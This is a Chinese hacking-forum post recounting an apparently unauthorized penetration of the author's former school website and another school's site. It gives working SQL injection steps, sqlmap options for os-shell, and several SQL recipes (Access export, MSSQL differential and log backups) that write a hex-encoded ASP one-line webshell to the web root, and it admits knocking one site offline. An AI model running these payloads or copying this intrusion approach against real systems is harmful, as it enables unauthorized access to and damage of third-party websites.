渗透纪实之母校官网-part 1

2016-08-04 本文已影响75人池寒

来源：http://bbs.ichunqiu.com/thread-9230-1-1.html?from=ch

过程不算曲折，但还算漫长，知识点比较零碎，适合新手学习。

那么，那时我还小，我们一起来回忆，那些年我们年少时蛋疼的折腾。

离开母校那年，挚友摆了饭局送我，席间我和楷文（淡定哥）有个约定。。。

时不我待，转眼一载，人事变迁，容颜沧桑，楷文兄，没我的日子你别来无恙。母校官网我还没搞定，你是否已经炸了她的墙角？

由于种种原因，一直没有足够的时间。。。渗透过程七零八落

来看下情况：

母校主站：www.*****x.cn

*信息收集

初步刺探结果：

某些数据库的调用做了防注入处理：

[AppleScript]纯文本查看复制代码

web服务：iis6.0ASP 支持aspx

数据库：access

网站后台：http://www.******cn/admin/login.asp

手工找到数字型注入点：http://www.s*******.cn/news_detail.asp?id=954

明显的入库查询 sqlinjection

Sqlmap跑起来

结果不太理想，爆破不出表和字段，看来管理员为了防止猜表做了表前缀

对于access的注入，猜不到表，渗透戛然而止

后来又在复习的时候看到了sql注入access导出txt等文件方法，不能导出asp 但是我们可以配合IIS6.0解析漏洞导出binghe.asp;binghe.txt之类的文件

那么问题来了，路径哪里找？？又不是phpmyadmin之类的可以报错文件，asp报错路径很少，但是我突然想到了conn.asp和5c%暴库

5c%是没有成功，conn.asp还是可以的，直接访问数据库连接文件，数据库连接文件和数据调用的相对路径冲突导致报错，没错爆出了绝对路径：

那么来sqlmap的–sql-shell用传说中的sql执行access导出txt、xls试试配合iis6.0解析漏洞（PS：access已经过时，没研究过，小菜也不清楚access的sqlshell是不是可以执行，以前在后台遇到过可以执行sql的功能，譬如帝国的某些版本）

逐一执行以下语句就可以导出一句话了

[AppleScript]纯文本查看复制代码

4create table cmd(a varchar(50))

insertintocmd(a)values('一句话木马')

select*into[a]in'e:\web\webshellcc\1.asa;x.xls' 'excel4.0;'fromcmd

drop table cmd

更简单的

[AppleScript]纯文本查看复制代码

Select 'asp一句话木马'into[vote]in'e:\web\webshellcc\1.asa;x.xls' 'excel8.0;' fromvote

Sqlshell执行无果看来是我想多了也许access注入点根本就不能取得真正的sqlshell

转而看其网站后台，用burpsuite爆破没跑出来，，失败

小站，也看不出是什么cms，扫了目录，没有大的发现，有上传，但是需要登录，无法有效利用，有留言板，尝试XSS，无果，存在iis短文件名泄露漏洞，利用无果

入侵脚步又戛然而止

上次刺探主站没有什么收获 C段之，

瞄到一个站本市的**中学久闻大名！

注入一个，，sqlmap之

[AppleScript]纯文本查看复制代码

--current-user --sql-shell--os-shell

sa！！！！

[AppleScript]纯文本查看复制代码

selectcount(*)frommaster.dbo.sysobjectswherextype='x' andname='xp_cmdshell'

返回”1″，说明存在存储过程xp_cmdshell

试着执行cmd 不行啊老是超时怪事

os-shell尝试获得交互式cmd SQLmap自动提权修复xp_cmdshell也是超时不明白哪里出了问题

手动在注入点执行也不行。。

咋办呢？想想还是找目录写个shell

用啊D列个目录列了一会通过对比就找到了根目录

D:\wwwroot\dxzx\

跑了数据解了md5 进了后台想差异备份但是手抖弄了个插配置文件一句话但是忘了闭合asp标记

后来网站挂了差点吓哭我真的不是故意的。无法复现等恢复了再说吧

个人对此表示万分歉意，对不起，已经致道歉信与修复方案至管理员邮箱

后来想到自己是多么的愚蠢，为什么不log备份，增量备份导出shell呢？？？

让我喝一杯82年的乐事冷静一下

其实log备份导出Public权限都能导出，更何况我们是sa，如果遇到奇葩的磁盘权限，可以尝试图片上传目录

#导出方法有以下几种方法：

MSSQL差异备份，就是和前一次备份作对比，把不一样的内容备份下来，这样，只要前一次备份后，插入新的内容，差异备份就可以把刚插入的内容备份出来，而这个备份文件将大大减少,得到webShell的成功也提高了不少！

差异备份的流程大概这样：

[AppleScript]纯文本查看复制代码

121.完整备份一次(保存位置当然可以改)

backup database 库名todisk='c:\ddd.bak';--

2.创建表并插曲入数据

create table [dbo].[dtest]([cmd] [image]);

insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--

3.进行差异备份

backup database 库名todisk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

上面

[AppleScript]纯文本查看复制代码

0x3C25657865637574652872657175657374282261222929253E

就是一句话木马的内容：

[AppleScript]纯文本查看复制代码

<%execute(request("a"))%>

如下是整理的常见的差异备份代码，思路一样！

===================================================

利用差异备份提高提高backupwebshell的成功率,减少文件大小

步骤:

[AppleScript]纯文本查看复制代码

4declare @a sysname,@s nvarchar(4000)select@a=db_name(),@s=0x77006F006B0061006F002E00620061006B00backup database @a todisk=@s

create table [dbo].[xiaolu]([cmd] [image]);

insertintoxiaolu(cmd)values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000)select@a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000backup database @atodisk=@s WITH DIFFERENTIAL,FORMAT

0x77006F006B0061006F002E00620061006B00为wokao.bak

0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>

0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

声明：方法不是我想的，我只是写工具，默认得到shell是

[AppleScript]纯文本查看复制代码

<%execute(request("a"))%>

===============================================================

我发现上面代码，有时会无效，而直接用

[AppleScript]纯文本查看复制代码

backup database 库名todisk='c:\ddd.bak' create table [dbo].[dtest]([cmd] [image]); insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E)backup database 库名todisk='目标位置\d.asp'WITH DIFFERENTIAL,FORMAT;--

却可以成功，所以把最原始的方法写出来！思路是前人所创,这不说大家也知道的！库名必须要有效的库名，一般注入工具都可以得到！如果某站过滤 “‘”,就要把字符内容转为数值了！

网上还有log增量备份的，我也把他记录一下

=====================================================

另一种log增量备份技术:

例：在注入点用；联合执行

[AppleScript]纯文本查看复制代码

6';alter database nullsetRECOVERY FULL--

';create table cmd(aimage)--

';backuplognulltodisk='f:\cmd'withinit--

';insertintocmd(a)values(0x3C2565786563757465287265717565737428226122292

9253EDA)--

';backuplognulltodisk='备份路径'--